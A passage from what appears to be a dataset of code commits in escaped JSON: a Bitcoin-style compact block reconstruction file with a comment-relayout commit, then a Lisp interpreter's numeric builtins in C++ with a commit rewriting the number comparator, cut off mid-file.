again.\n header.SetNull();\n txn_available.clear();\n\n if (vtx_missing.size() != tx_missing_offset) return READ_STATUS_INVALID;\n\n CValidationState state;\n if (!CheckBlock(block, state, Params().GetConsensus())) {\n \/\/ TODO: We really want to just check merkle tree manually here, but\n \/\/ that is expensive, and CheckBlock caches a block's \"checked-status\"\n \/\/ (in the CBlock?). CBlock should be able to check its own merkle root\n \/\/ and cache that check.\n if (state.CorruptionPossible()) {\n \/\/ Possible Short ID collision.\n return READ_STATUS_FAILED;\n }\n return READ_STATUS_CHECKBLOCK_FAILED;\n }\n\n LogPrint(\"cmpctblock\", \"Successfully reconstructed block %s with %lu txn \"\n \"prefilled, %lu txn from mempool (incl at least %lu \"\n \"from extra pool) and %lu txn requested\\n\",\n hash.ToString(), prefilled_count, mempool_count, extra_count,\n vtx_missing.size());\n if (vtx_missing.size() < 5) {\n for (const auto &tx : vtx_missing)\n LogPrint(\"cmpctblock\", \"Reconstructed block %s required tx %s\\n\",\n hash.ToString(), tx->GetId().ToString());\n }\n\n return READ_STATUS_OK;\n}\n<commit_msg>Relayout some comment in blockencoding.cpp<commit_after>\/\/ Copyright (c) 2016 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"blockencodings.h\"\n#include \"chainparams.h\"\n#include \"consensus\/consensus.h\"\n#include \"consensus\/validation.h\"\n#include \"globals.h\"\n#include \"hash.h\"\n#include \"random.h\"\n#include \"streams.h\"\n#include \"txmempool.h\"\n#include \"util.h\"\n#include \"validation.h\"\n\n#include <unordered_map>\n\nCBlockHeaderAndShortTxIDs::CBlockHeaderAndShortTxIDs(const CBlock &block)\n : nonce(GetRand(std::numeric_limits<uint64_t>::max())),\n shorttxids(block.vtx.size() - 1), prefilledtxn(1), header(block) {\n FillShortTxIDSelector();\n \/\/ TODO: Use our mempool prior to block acceptance to predictively fill more\n \/\/ than just the coinbase.\n prefilledtxn[0] = {0, block.vtx[0]};\n for (size_t i = 1; i < block.vtx.size(); i++) {\n const CTransaction &tx = *block.vtx[i];\n shorttxids[i - 1] = GetShortID(tx.GetHash());\n }\n}\n\nvoid CBlockHeaderAndShortTxIDs::FillShortTxIDSelector() const {\n CDataStream stream(SER_NETWORK, PROTOCOL_VERSION);\n stream << header << nonce;\n CSHA256 hasher;\n hasher.Write((unsigned char *)&(*stream.begin()),\n stream.end() - stream.begin());\n uint256 shorttxidhash;\n hasher.Finalize(shorttxidhash.begin());\n shorttxidk0 = shorttxidhash.GetUint64(0);\n shorttxidk1 = shorttxidhash.GetUint64(1);\n}\n\nuint64_t CBlockHeaderAndShortTxIDs::GetShortID(const uint256 &txhash) const {\n static_assert(SHORTTXIDS_LENGTH == 6,\n \"shorttxids calculation assumes 6-byte shorttxids\");\n return SipHashUint256(shorttxidk0, shorttxidk1, txhash) & 0xffffffffffffL;\n}\n\nReadStatus PartiallyDownloadedBlock::InitData(\n const CBlockHeaderAndShortTxIDs &cmpctblock,\n const std::vector<std::pair<uint256, CTransactionRef>> &extra_txn) {\n if (cmpctblock.header.IsNull() ||\n (cmpctblock.shorttxids.empty() && cmpctblock.prefilledtxn.empty()))\n return READ_STATUS_INVALID;\n if (cmpctblock.shorttxids.size() + cmpctblock.prefilledtxn.size() >\n nMaxBlockSize \/ MIN_TRANSACTION_SIZE)\n return READ_STATUS_INVALID;\n\n assert(header.IsNull() && txn_available.empty());\n header = cmpctblock.header;\n txn_available.resize(cmpctblock.BlockTxCount());\n\n int32_t lastprefilledindex = -1;\n for (size_t i = 0; i < cmpctblock.prefilledtxn.size(); i++) {\n if (cmpctblock.prefilledtxn[i].tx->IsNull()) return READ_STATUS_INVALID;\n\n \/\/ index is a uint16_t, so can't overflow here.\n lastprefilledindex += cmpctblock.prefilledtxn[i].index + 1;\n if (lastprefilledindex > std::numeric_limits<uint16_t>::max())\n return READ_STATUS_INVALID;\n if ((uint32_t)lastprefilledindex > cmpctblock.shorttxids.size() + i) {\n \/\/ If we are inserting a tx at an index greater than our full list\n \/\/ of shorttxids plus the number of prefilled txn we've inserted,\n \/\/ then we have txn for which we have neither a prefilled txn or a\n \/\/ shorttxid!\n return READ_STATUS_INVALID;\n }\n txn_available[lastprefilledindex] = cmpctblock.prefilledtxn[i].tx;\n }\n prefilled_count = cmpctblock.prefilledtxn.size();\n\n \/\/ Calculate map of txids -> positions and check mempool to see what we have\n \/\/ (or don't). Because well-formed cmpctblock messages will have a\n \/\/ (relatively) uniform distribution of short IDs, any highly-uneven\n \/\/ distribution of elements can be safely treated as a READ_STATUS_FAILED.\n std::unordered_map<uint64_t, uint16_t> shorttxids(\n cmpctblock.shorttxids.size());\n uint16_t index_offset = 0;\n for (size_t i = 0; i < cmpctblock.shorttxids.size(); i++) {\n while (txn_available[i + index_offset])\n index_offset++;\n shorttxids[cmpctblock.shorttxids[i]] = i + index_offset;\n \/\/ To determine the chance that the number of entries in a bucket\n \/\/ exceeds N, we use the fact that the number of elements in a single\n \/\/ bucket is binomially distributed (with n = the number of shorttxids\n \/\/ S, and p = 1 \/ the number of buckets), that in the worst case the\n \/\/ number of buckets is equal to S (due to std::unordered_map having a\n \/\/ default load factor of 1.0), and that the chance for any bucket to\n \/\/ exceed N elements is at most buckets * (the chance that any given\n \/\/ bucket is above N elements). Thus: P(max_elements_per_bucket > N) <=\n \/\/ S * (1 - cdf(binomial(n=S,p=1\/S), N)). If we assume blocks of up to\n \/\/ 16000, allowing 12 elements per bucket should only fail once per ~1\n \/\/ million block transfers (per peer and connection).\n if (shorttxids.bucket_size(\n shorttxids.bucket(cmpctblock.shorttxids[i])) > 12)\n return READ_STATUS_FAILED;\n }\n \/\/ TODO: in the shortid-collision case, we should instead request both\n \/\/ transactions which collided. Falling back to full-block-request here is\n \/\/ overkill.\n if (shorttxids.size() != cmpctblock.shorttxids.size()) {\n \/\/ Short ID collision\n return READ_STATUS_FAILED;\n }\n\n std::vector<bool> have_txn(txn_available.size());\n {\n LOCK(pool->cs);\n const std::vector<std::pair<uint256, CTxMemPool::txiter>> &vTxHashes =\n pool->vTxHashes;\n for (size_t i = 0; i < vTxHashes.size(); i++) {\n uint64_t shortid = cmpctblock.GetShortID(vTxHashes[i].first);\n std::unordered_map<uint64_t, uint16_t>::iterator idit =\n shorttxids.find(shortid);\n if (idit != shorttxids.end()) {\n if (!have_txn[idit->second]) {\n txn_available[idit->second] =\n vTxHashes[i].second->GetSharedTx();\n have_txn[idit->second] = true;\n mempool_count++;\n } else {\n \/\/ If we find two mempool txn that match the short id, just\n \/\/ request it. This should be rare enough that the extra\n \/\/ bandwidth doesn't matter, but eating a round-trip due to\n \/\/ FillBlock failure would be annoying.\n if (txn_available[idit->second]) {\n txn_available[idit->second].reset();\n mempool_count--;\n }\n }\n }\n \/\/ Though ideally we'd continue scanning for the\n \/\/ two-txn-match-shortid case, the performance win of an early exit\n \/\/ here is too good to pass up and worth the extra risk.\n if (mempool_count == shorttxids.size()) break;\n }\n }\n\n for (size_t i = 0; i < extra_txn.size(); i++) {\n uint64_t shortid = cmpctblock.GetShortID(extra_txn[i].first);\n std::unordered_map<uint64_t, uint16_t>::iterator idit =\n shorttxids.find(shortid);\n if (idit != shorttxids.end()) {\n if (!have_txn[idit->second]) {\n txn_available[idit->second] = extra_txn[i].second;\n have_txn[idit->second] = true;\n mempool_count++;\n extra_count++;\n } else {\n \/\/ If we find two mempool\/extra txn that match the short id,\n \/\/ just request it. This should be rare enough that the extra\n \/\/ bandwidth doesn't matter, but eating a round-trip due to\n \/\/ FillBlock failure would be annoying. Note that we dont want\n \/\/ duplication between extra_txn and mempool to trigger this\n \/\/ case, so we compare hashes first.\n if (txn_available[idit->second] &&\n txn_available[idit->second]->GetHash() !=\n extra_txn[i].second->GetHash()) {\n txn_available[idit->second].reset();\n mempool_count--;\n extra_count--;\n }\n }\n }\n\n \/\/ Though ideally we'd continue scanning for the two-txn-match-shortid\n \/\/ case, the performance win of an early exit here is too good to pass\n \/\/ up and worth the extra risk.\n if (mempool_count == shorttxids.size()) break;\n }\n\n LogPrint(\"cmpctblock\", \"Initialized PartiallyDownloadedBlock for block %s \"\n \"using a cmpctblock of size %lu\\n\",\n cmpctblock.header.GetHash().ToString(),\n GetSerializeSize(cmpctblock, SER_NETWORK, PROTOCOL_VERSION));\n\n return READ_STATUS_OK;\n}\n\nbool PartiallyDownloadedBlock::IsTxAvailable(size_t index) const {\n assert(!header.IsNull());\n assert(index < txn_available.size());\n return txn_available[index] ? true : false;\n}\n\nReadStatus PartiallyDownloadedBlock::FillBlock(\n CBlock &block, const std::vector<CTransactionRef> &vtx_missing) {\n assert(!header.IsNull());\n uint256 hash = header.GetHash();\n block = header;\n block.vtx.resize(txn_available.size());\n\n size_t tx_missing_offset = 0;\n for (size_t i = 0; i < txn_available.size(); i++) {\n if (!txn_available[i]) {\n if (vtx_missing.size() <= tx_missing_offset)\n return READ_STATUS_INVALID;\n block.vtx[i] = vtx_missing[tx_missing_offset++];\n } else\n block.vtx[i] = std::move(txn_available[i]);\n }\n\n \/\/ Make sure we can't call FillBlock again.\n header.SetNull();\n txn_available.clear();\n\n if (vtx_missing.size() != tx_missing_offset) return READ_STATUS_INVALID;\n\n CValidationState state;\n if (!CheckBlock(block, state, Params().GetConsensus())) {\n \/\/ TODO: We really want to just check merkle tree manually here, but\n \/\/ that is expensive, and CheckBlock caches a block's \"checked-status\"\n \/\/ (in the CBlock?). CBlock should be able to check its own merkle root\n \/\/ and cache that check.\n if (state.CorruptionPossible()) {\n \/\/ Possible Short ID collision.\n return READ_STATUS_FAILED;\n }\n return READ_STATUS_CHECKBLOCK_FAILED;\n }\n\n LogPrint(\"cmpctblock\", \"Successfully reconstructed block %s with %lu txn \"\n \"prefilled, %lu txn from mempool (incl at least %lu \"\n \"from extra pool) and %lu txn requested\\n\",\n hash.ToString(), prefilled_count, mempool_count, extra_count,\n vtx_missing.size());\n if (vtx_missing.size() < 5) {\n for (const auto &tx : vtx_missing)\n LogPrint(\"cmpctblock\", \"Reconstructed block %s required tx %s\\n\",\n hash.ToString(), tx->GetId().ToString());\n }\n\n return READ_STATUS_OK;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <array>\n#include <iterator>\n#include <vector>\n#include <functional>\n#include <algorithm>\n#include <numeric>\n\n#include \"builtin.hh\"\n#include \"util.hh\"\n#include \"number.hh\"\n#include \"procedure.hh\"\n#include \"lisp_ptr.hh\"\n#include \"eval.hh\"\n#include \"builtin_util.hh\"\n#include \"printer.hh\"\n\nusing namespace std;\nusing namespace Procedure;\n\nnamespace {\n\ntemplate<typename Fun>\ninline void number_pred(Fun&& fun){\n auto arg = pick_args_1();\n auto num = arg.get<Number*>();\n if(!num){\n VM.return_value = Lisp_ptr{false};\n return;\n }\n\n VM.return_value = Lisp_ptr{fun(num)};\n}\n\nvoid complexp(){\n number_pred([](Number* n){\n return n->type() >= Number::Type::integer;\n });\n}\n\nvoid realp(){\n number_pred([](Number* n){\n return n->type() >= Number::Type::integer\n && n->type() <= Number::Type::real;\n });\n}\n\nvoid rationalp(){\n number_pred([](Number* n){\n return n->type() >= Number::Type::integer\n && n->type() < Number::Type::real;\n });\n}\n\nvoid integerp(){\n number_pred([](Number* n){\n return n->type() == Number::Type::integer;\n });\n}\n\nvoid exactp(){\n number_pred([](Number* n){\n return n->type() == Number::Type::integer;\n });\n}\n\nvoid inexactp(){\n number_pred([](Number* n){\n return n->type() == Number::Type::complex\n || n->type() == Number::Type::real;\n });\n}\n\nvoid number_type_check_failed(const char* func_name, Lisp_ptr p){\n fprintf(zs::err, \"native func: %s: arg is not number! (%s)\\n\",\n func_name, stringify(p.tag()));\n VM.return_value = {};\n}\n\nstruct complex_found{\n static constexpr const char* msg = \"native func: number compare: complex cannot be ordinated\\n\";\n bool operator()(const Number::complex_type&, const Number::complex_type&) const{\n fprintf(zs::err, msg);\n return false;\n }\n};\n\ntemplate<template <typename> class Fun,\n class ComplexComparator = complex_found>\nstruct number_comparator {\n Lisp_ptr non_number_found;\n\n number_comparator() : non_number_found(){}\n\n inline bool operator()(const Lisp_ptr& p1, const Lisp_ptr& p2){\n auto n1 = p1.get<Number*>();\n if(!n1 || n1->type() < Number::Type::integer){\n non_number_found = p1;\n return true;\n }\n \n auto n2 = p2.get<Number*>();\n if(!n2 || n2->type() < Number::Type::integer){\n non_number_found = p2;\n return true;\n }\n\n if(n1->type() == Number::Type::integer && n2->type() == Number::Type::integer){\n static const Fun<Number::integer_type> fun;\n return fun(n1->get<Number::integer_type>(), n2->get<Number::integer_type>());\n }else if(n1->type() <= Number::Type::real && n2->type() <= Number::Type::real){\n static const Fun<Number::real_type> fun;\n return fun(n1->coerce<Number::real_type>(), n2->coerce<Number::real_type>());\n }else{\n static const ComplexComparator fun;\n return fun(n1->coerce<Number::complex_type>(), n2->coerce<Number::complex_type>());\n }\n }\n\n struct for_is_sorted : public number_comparator {\n inline bool operator()(const Lisp_ptr& p1, const Lisp_ptr& p2){\n return !number_comparator::operator()(p2, p1);\n }\n };\n};\n\n\ntemplate<typename Fun>\ninline void number_compare(const char* name, Fun&& fun){\n std::vector<Lisp_ptr> args;\n stack_to_vector(VM.stack, args);\n\n auto ret = std::is_sorted(begin(args), end(args), fun);\n if(fun.non_number_found){\n number_type_check_failed(name, fun.non_number_found);\n return;\n }\n\n VM.return_value = Lisp_ptr{ret};\n}\n\nvoid number_equal(){\n number_compare(\"=\", \n number_comparator<std::equal_to,\n std::equal_to<Number::complex_type> >::for_is_sorted());\n}\n\nvoid number_less(){\n number_compare(\"<\",\n number_comparator<std::less>::for_is_sorted()); \n}\n\nvoid number_greater(){\n number_compare(\">\",\n number_comparator<std::greater>::for_is_sorted());\n}\n \nvoid number_less_eq(){\n number_compare(\"<=\",\n number_comparator<std::less_equal>::for_is_sorted());\n}\n \nvoid number_greater_eq(){\n number_compare(\">=\",\n number_comparator<std::greater_equal>::for_is_sorted());\n}\n\n\nvoid zerop(){\n number_pred([](Number* num) -> bool {\n switch(num->type()){\n case Number::Type::complex: {\n auto c = num->get<Number::complex_type>();\n return (c.real() == 0 && c.imag() == 0);\n }\n case Number::Type::real:\n return num->get<Number::real_type>() == 0;\n case Number::Type::integer:\n return num->get<Number::integer_type>() == 0;\n case Number::Type::uninitialized:\n default:\n UNEXP_DEFAULT();\n }\n });\n}\n\ntemplate<template <typename> class Fun>\nstruct pos_neg_pred{\n inline bool operator()(Number* num){\n static constexpr Fun<Number::integer_type> fun;\n\n switch(num->type()){\n case Number::Type::complex:\n return false;\n case Number::Type::real:\n return fun(num->get<Number::real_type>(), 0);\n case Number::Type::integer:\n return fun(num->get<Number::integer_type>(), 0);\n case Number::Type::uninitialized:\n default:\n UNEXP_DEFAULT();\n }\n }\n};\n\nvoid positivep(){\n number_pred(pos_neg_pred<std::greater>());\n}\n\nvoid negativep(){\n number_pred(pos_neg_pred<std::less>());\n}\n\ntemplate<template <typename> class Fun>\nstruct even_odd_pred{\n inline bool operator()(Number* num){\n static constexpr Fun<Number::integer_type> fun;\n\n switch(num->type()){\n case Number::Type::complex:\n case Number::Type::real:\n return false;\n case Number::Type::integer:\n return fun(num->get<Number::integer_type>() % 2, 0);\n case Number::Type::uninitialized:\n default:\n UNEXP_DEFAULT();\n }\n }\n};\n\nvoid oddp(){\n number_pred(even_odd_pred<std::not_equal_to>());\n}\n\nvoid evenp(){\n number_pred(even_odd_pred<std::equal_to>());\n}\n\n\ntemplate<class Fun>\ninline\nvoid number_accumulate(const char* name, Number&& init, Fun&& fun){\n std::vector<Lisp_ptr> args;\n stack_to_vector(VM.stack, args);\n\n for(auto i = begin(args), e = end(args);\n i != e; ++i){\n auto n = i->get<Number*>();\n if(!n){\n number_type_check_failed(name, *i);\n return;\n }\n\n if(!fun(init, *n)){\n VM.return_value = {};\n return;\n }\n }\n\n VM.return_value = {new Number(init)};\n}\n\nvoid number_max(){\n number_accumulate(\"max\", Number(),\n [](Number& n1, const Number& n2) -> bool {\n if(n1.type() == Number::Type::uninitialized){\n n1 = n2;\n return true;\n }\n\n if(n2.type() == Number::Type::uninitialized){\n return true;\n }\n\n if(n1.type() == Number::Type::integer && n2.type() == Number::Type::integer){\n if(n1.get<Number::integer_type>() < n2.get<Number::integer_type>())\n n1 = n2;\n return true;\n }\n\n if(n1.type() <= Number::Type::real && n2.type() <= Number::Type::real){\n if(n1.coerce<Number::real_type>() < n2.coerce<Number::real_type>())\n n1 = Number{n2.coerce<Number::real_type>()};\n if(n1.type() != Number::Type::real)\n n1 = Number{n1.coerce<Number::real_type>()};\n return true;\n }\n\n fprintf(zs::err, complex_found::msg);\n return false;\n });\n}\n\nvoid number_min(){\n number_accumulate(\"min\", Number(),\n [](Number& n1, const Number& n2) -> bool {\n if(n1.type() == Number::Type::uninitialized){\n n1 = n2;\n return true;\n }\n\n if(n2.type() == Number::Type::uninitialized){\n return true;\n }\n\n if(n1.type() == Number::Type::integer && n2.type() == Number::Type::integer){\n if(n1.get<Number::integer_type>() > n2.get<Number::integer_type>())\n n1 = n2;\n return true;\n }\n\n if(n1.type() <= Number::Type::real && n2.type() <= Number::Type::real){\n if(n1.coerce<Number::real_type>() > n2.coerce<Number::real_type>())\n n1 = Number{n2.coerce<Number::real_type>()};\n if(n1.type() != Number::Type::real)\n n1 = Number{n1.coerce<Number::real_type>()};\n return true;\n }\n\n fprintf(zs::err, complex_found::msg);\n return false;\n });\n}\n\nvoid number_plus(){\n number_accumulate(\"+\", Number(0l),\n [](Number& n1, const Number& n2) -> bool {\n if(n1.type() == Number::Type::uninitialized){\n n1 = n2;\n return true;\n }\n\n if(n2.type() == Number::Type::uninitialized){\n return true;\n }\n\n \/\/ n1 type <= n2 type\n if(n1.type() == Number::Type::integer && n2.type() == Number::Type::integer){\n n1.get<Number::integer_type>() += n2.get<Number::integer_type>();\n return true;\n }\n\n if(n1.type() == Number::Type::real && n2.type() <= Number::Type::real){\n n1.get<Number::real_type>() += n2.coerce<Number::real_type>();\n return true;\n }\n\n if(n1.type() == Number::Type::complex && n2.type() <= Number::Type::complex){\n n1.get<Number::complex_type>() += n2.coerce<Number::complex_type>();\n return true;\n }\n\n \/\/ n1 type > n2 type\n if(n1.type() < Number::Type::real && n2.type() == Number::Type::real){\n n1 = Number{n1.coerce<Number::real_type>() + n2.get<Number::real_type>()};\n return true;\n }\n\n if(n1.type() < Number::Type::complex && n2.type() == Number::Type::complex){\n n1 = Number{n1.coerce<Number::complex_type>() + n2.get<Number::complex_type>()};\n return true;\n }\n\n \/\/ ???\n fprintf(zs::err, \"native func: +: failed at numeric conversion!\\n\");\n return false;\n });\n}\n\n\nconstexpr struct Entry {\n const char* name;\n const NProcedure func;\n\n constexpr Entry(const char* n, const NProcedure& f)\n : name(n), func(f){}\n} builtin_numeric[] = {\n {\"complex?\", {\n complexp,\n Calling::function, {1, false}}},\n {\"real?\", {\n realp,\n Calling::function, {1, false}}},\n {\"rational?\", {\n rationalp,\n Calling::function, {1, false}}},\n {\"integer?\", {\n integerp,\n Calling::function, {1, false}}},\n\n {\"exact?\", {\n exactp,\n Calling::function, {1, false}}},\n {\"inexact?\", {\n inexactp,\n Calling::function, {1, false}}},\n\n {\"=\", {\n number_equal,\n Calling::function, {2, true}}},\n {\"<\", {\n number_less,\n Calling::function, {2, true}}},\n {\">\", {\n number_greater,\n Calling::function, {2, true}}},\n {\"<=\", {\n number_less_eq,\n Calling::function, {2, true}}},\n {\">=\", {\n number_greater_eq,\n Calling::function, {2, true}}},\n\n {\"zero?\", {\n zerop,\n Calling::function, {1, false}}},\n {\"positive?\", {\n positivep,\n Calling::function, {1, false}}},\n {\"negative?\", {\n negativep,\n Calling::function, {1, false}}},\n {\"odd?\", {\n oddp,\n Calling::function, {1, false}}},\n {\"even?\", {\n evenp,\n Calling::function, {1, false}}},\n\n {\"max\", {\n number_max,\n Calling::function, {2, true}}},\n {\"min\", {\n number_min,\n Calling::function, {2, true}}},\n\n {\"+\", {\n number_plus,\n Calling::function, {0, true}}}\n};\n\n} \/\/namespace\n\nvoid install_builtin_numeric(){\n for(auto& e : builtin_numeric){\n VM.set(intern(VM.symtable, e.name), {&e.func});\n }\n}\n<commit_msg>rewrite number comparator<commit_after>#include <array>\n#include <iterator>\n#include <vector>\n#include <functional>\n#include <algorithm>\n#include <numeric>\n\n#include \"builtin.hh\"\n#include \"util.hh\"\n#include \"number.hh\"\n#include \"procedure.hh\"\n#include \"lisp_ptr.hh\"\n#include \"eval.hh\"\n#include \"builtin_util.hh\"\n#include \"printer.hh\"\n\nusing namespace std;\nusing namespace Procedure;\n\nnamespace {\n\ntemplate<typename Fun>\ninline void number_pred(Fun&& fun){\n auto arg = pick_args_1();\n auto num = arg.get<Number*>();\n if(!num){\n VM.return_value = Lisp_ptr{false};\n return;\n }\n\n VM.return_value = Lisp_ptr{fun(num)};\n}\n\nvoid complexp(){\n number_pred([](Number* n){\n return n->type() >= Number::Type::integer;\n });\n}\n\nvoid realp(){\n number_pred([](Number* n){\n return n->type() >= Number::Type::integer\n && n->type() <= Number::Type::real;\n });\n}\n\nvoid rationalp(){\n number_pred([](Number* n){\n return n->type() >= Number::Type::integer\n && n->type() < Number::Type::real;\n });\n}\n\nvoid integerp(){\n number_pred([](Number* n){\n return n->type() == Number::Type::integer;\n });\n}\n\nvoid exactp(){\n number_pred([](Number* n){\n return n->type() == Number::Type::integer;\n });\n}\n\nvoid inexactp(){\n number_pred([](Number* n){\n return n->type() == Number::Type::complex\n || n->type() == Number::Type::real;\n });\n}\n\nvoid number_type_check_failed(const char* func_name, Lisp_ptr p){\n fprintf(zs::err, \"native func: %s: arg is not number! (%s)\\n\",\n func_name, stringify(p.tag()));\n VM.return_value = {};\n}\n\nstruct complex_found{\n static constexpr const char* msg = \"native func: number compare: complex cannot be ordinated\\n\";\n bool operator()(const Number::complex_type&, const Number::complex_type&) const{\n fprintf(zs::err, msg);\n return false;\n }\n};\n\ntemplate<template <typename> class Fun,\n class ComplexComparator = complex_found>\nstruct number_comparator {\n inline bool operator()(const Number* n1, const Number* n2){\n if(n1->type() == Number::Type::integer && n2->type() == Number::Type::integer){\n static const Fun<Number::integer_type> fun;\n return fun(n1->get<Number::integer_type>(), n2->get<Number::integer_type>());\n }else if(n1->type() <= Number::Type::real && n2->type() <= Number::Type::real){\n static const Fun<Number::real_type> fun;\n return fun(n1->coerce<Number::real_type>(), n2->coerce<Number::real_type>());\n }else{\n static const ComplexComparator fun;\n return fun(n1->coerce<Number::complex_type>(), n2->coerce<Number::complex_type>());\n }\n }\n};\n\n\ntemplate<typename Fun>\ninline void number_compare(const char* name, Fun&& fun){\n std::vector<Lisp_ptr> args;\n stack_to_vector(VM.stack, args);\n\n auto i1 = begin(args);\n const auto e = end(args);\n\n auto n1 = i1->get<Number*>();\n if(!n1 || n1->type() < Number::Type::integer){\n number_type_check_failed(name, *i1);\n return;\n }\n \n for(auto i2 = next(i1); i2 != e; i1 = i2, ++i2){\n auto n2 = i2->get<Number*>();\n if(!n2 || n2->type() < Number::Type::integer){\n number_type_check_failed(name, *i2);\n return;\n }\n\n if(!fun(n1, n2)){\n VM.return_value = Lisp_ptr{false};\n return;\n }\n\n n1 = n2;\n }\n\n VM.return_value = Lisp_ptr{true};\n}\n\nvoid number_equal(){\n number_compare(\"=\", \n number_comparator<std::equal_to,\n std::equal_to<Number::complex_type> >());\n}\n\nvoid number_less(){\n number_compare(\"<\",\n number_comparator<std::less>()); \n}\n\nvoid number_greater(){\n number_compare(\">\",\n number_comparator<std::greater>());\n}\n \nvoid number_less_eq(){\n number_compare(\"<=\",\n number_comparator<std::less_equal>());\n}\n \nvoid number_greater_eq(){\n number_compare(\">=\",\n number_comparator<std::greater_equal>());\n}\n\n\nvoid zerop(){\n number_pred([](Number* num) -> bool {\n switch(num->type()){\n case Number::Type::complex: {\n auto c = num->get<Number::complex_type>();\n return (c.real() == 0 && c.imag() == 0);\n }\n case Number::Type::real:\n return num->get<Number::real_type>() == 0;\n case Number::Type::integer:\n return num->get<Number::integer_type>() == 0;\n case Number::Type::uninitialized:\n default:\n UNEXP_DEFAULT();\n }\n });\n}\n\ntemplate<template <typename> class Fun>\nstruct pos_neg_pred{\n inline bool operator()(Number* num){\n static constexpr Fun<Number::integer_type> fun;\n\n switch(num->type()){\n case Number::Type::complex:\n return false;\n case Number::Type::real:\n return fun(num->get<Number::real_type>(), 0);\n case Number::Type::integer:\n return fun(num->get<Number::integer_type>(), 0);\n case Number::Type::uninitialized:\n default:\n UNEXP_DEFAULT();\n }\n }\n};\n\nvoid positivep(){\n number_pred(pos_neg_pred<std::greater>());\n}\n\nvoid negativep(){\n number_pred(pos_neg_pred<std::less>());\n}\n\ntemplate<template <typename> class Fun>\nstruct even_odd_pred{\n inline bool operator()(Number* num){\n static constexpr Fun<Number::integer_type> fun;\n\n switch(num->type()){\n case Number::Type::complex:\n case Number::Type::real:\n return false;\n case Number::Type::integer:\n return fun(num->get<Number::integer_type>() % 2, 0);\n case Number::Type::uninitialized:\n default:\n UNEXP_DEFAULT();\n }\n }\n};\n\nvoid oddp(){\n number_pred(even_odd_pred<std::not_equal_to>());\n}\n\nvoid evenp(){\n number_pred(even_odd_pred<std::equal_to>());\n}\n\n\ntemplate<class Fun>\ninline\nvoid number_accumulate(const char* name, Number&& init, Fun&& fun){\n std::vector<Lisp_ptr> args;\n stack_to_vector(VM.stack, args);\n\n for(auto i = begin(args), e = end(args);\n i != e; ++i){\n auto n = i->get<Number*>();\n if(!n){\n number_type_check_failed(name, *i);\n return;\n }\n\n if(!fun(init, *n)){\n VM.return_value = {};\n return;\n }\n }\n\n VM.return_value = {new Number(init)};\n}\n\nvoid number_max(){\n number_accumulate(\"max\", Number(),\n [](Number& n1, const Number& n2) -> bool {\n if(n1.type() == Number::Type::uninitialized){\n n1 = n2;\n return true;\n }\n\n if(n2.type() == Number::Type::uninitialized){\n return true;\n }\n\n if(n1.type() == Number::Type::integer && n2.type() == Number::Type::integer){\n if(n1.get<Number::integer_type>() < n2.get<Number::integer_type>())\n n1 = n2;\n return true;\n }\n\n if(n1.type() <= Number::Type::real && n2.type() <= Number::Type::real){\n if(n1.coerce<Number::real_type>() < n2.coerce<Number::real_type>())\n n1 = Number{n2.coerce<Number::real_type>()};\n if(n1.type() != Number::Type::real)\n n1 = Number{n1.coerce<Number::real_type>()};\n return true;\n }\n\n fprintf(zs::err, complex_found::msg);\n return false;\n });\n}\n\nvoid number_min(){\n number_accumulate(\"min\", Number(),\n [](Number& n1, const Number& n2) -> bool {\n if(n1.type() == Number::Type::uninitialized){\n n1 = n2;\n return true;\n }\n\n if(n2.type() == Number::Type::uninitialized){\n return true;\n }\n\n if(n1.type() == Number::Type::integer && n2.type() == Number::Type::integer){\n if(n1.get<Number::integer_type>() > n2.get<Number::integer_type>())\n n1 = n2;\n return true;\n }\n\n if(n1.type() <= Number::Type::real && n2.type() <= Number::Type::real){\n if(n1.coerce<Number::real_type>() > n2.coerce<Number::real_type>())\n n1 = Number{n2.coerce<Number::real_type>()};\n if(n1.type() != Number::Type::real)\n n1 = Number{n1.coerce<Number::real_type>()};\n return true;\n }\n\n fprintf(zs::err, complex_found::msg);\n return false;\n });\n}\n\nvoid number_plus(){\n number_accumulate(\"+\", Number(0l),\n [](Number& n1, const Number& n2) -> bool {\n if(n1.type() == Number::Type::uninitialized){\n n1 = n2;\n return true;\n }\n\n if(n2.type() == Number::Type::uninitialized){\n return true;\n }\n\n \/\/ n1 type <= n2 type\n if(n1.type() == Number::Type::integer && n2.type() == Number::Type::integer){\n n1.get<Number::integer_type>() += n2.get<Number::integer_type>();\n return true;\n }\n\n if(n1.type() == Number::Type::real && n2.type() <= Number::Type::real){\n n1.get<Number::real_type>() += n2.coerce<Number::real_type>();\n return true;\n }\n\n if(n1.type() == Number::Type::complex && n2.type() <= Number::Type::complex){\n n1.get<Number::complex_type>() += n2.coerce<Number::complex_type>();\n return true;\n }\n\n \/\/ n1 type > n2 type\n if(n1.type() < Number::Type::real && n2.type() == Number::Type::real){\n n1 = Number{n1.coerce<Number::real_type>() + n2.get<Number::real_type>()};\n return true;\n }\n\n if(n1.type() < Number::Type::complex && n2.type() == Number::Type::complex){\n n1 = Number{n1.coerce<Number::complex_type>() + n2.get<Number::complex_type>()};\n return true;\n }\n\n \/\/ ???\n fprintf(zs::err, \"native func: +: failed at numeric conversion!\\n\");\n return false;\n });\n}\n\n\nconstexpr struct Entry {\n const char* name;\n const NProcedure func;\n\n constexpr Entry(const char* n, const NProcedure& f)\n : name(n), func(f){}\n} builtin_numeric[] = {\n {\"complex?\", {\n complexp,\n Calling::function, {1, false}}},\n {\"real?\", {\n realp,\n Calling::function, {1, false}}},\n {\"rational?\", {\n rationalp,\n Calling::function, {1, false}}},\n {\"integer?\", {\n integerp,\n Calling::function, {1, false}}},\n\n {\"exact?\", {\n exactp,\n Calling::function, {1, false}}},\n {\"inexact?\", {\n inexactp,\n Calling::function, {1, false}}},\n\n {\"=\", {\n number_equal,\n Calling::function, {2, true}}},\n {\"<\", {\n number_less,\n Calling::function, {2, true}}},\n {\">\", {\n number_greater,\n Calling::function, {2, true}}},\n {\"<=\", {\n number_less_eq,\n Calling::function, {2, true}}},\n {\">=\", {\n number_greater_eq,\n Calling::function, {2, true}}},\n\n {\"zero?\", {\n zerop,\n Calling::function, {1, false}}},\n {\"positive?\", {\n positivep,\n Calling::function, {1, false}}},\n {\"negative?\", {\n negativep,\n Calling::function, {1, false}}},\n {\"odd?\", {\n oddp,\n Calling::function, {1, false}}},\n {\"even?\", {\n evenp,\n Calling::function, {1, false}}},\n\n {\"max\", {\n number_max,\n Calling::function, {2, true}}},\n {\"min\", 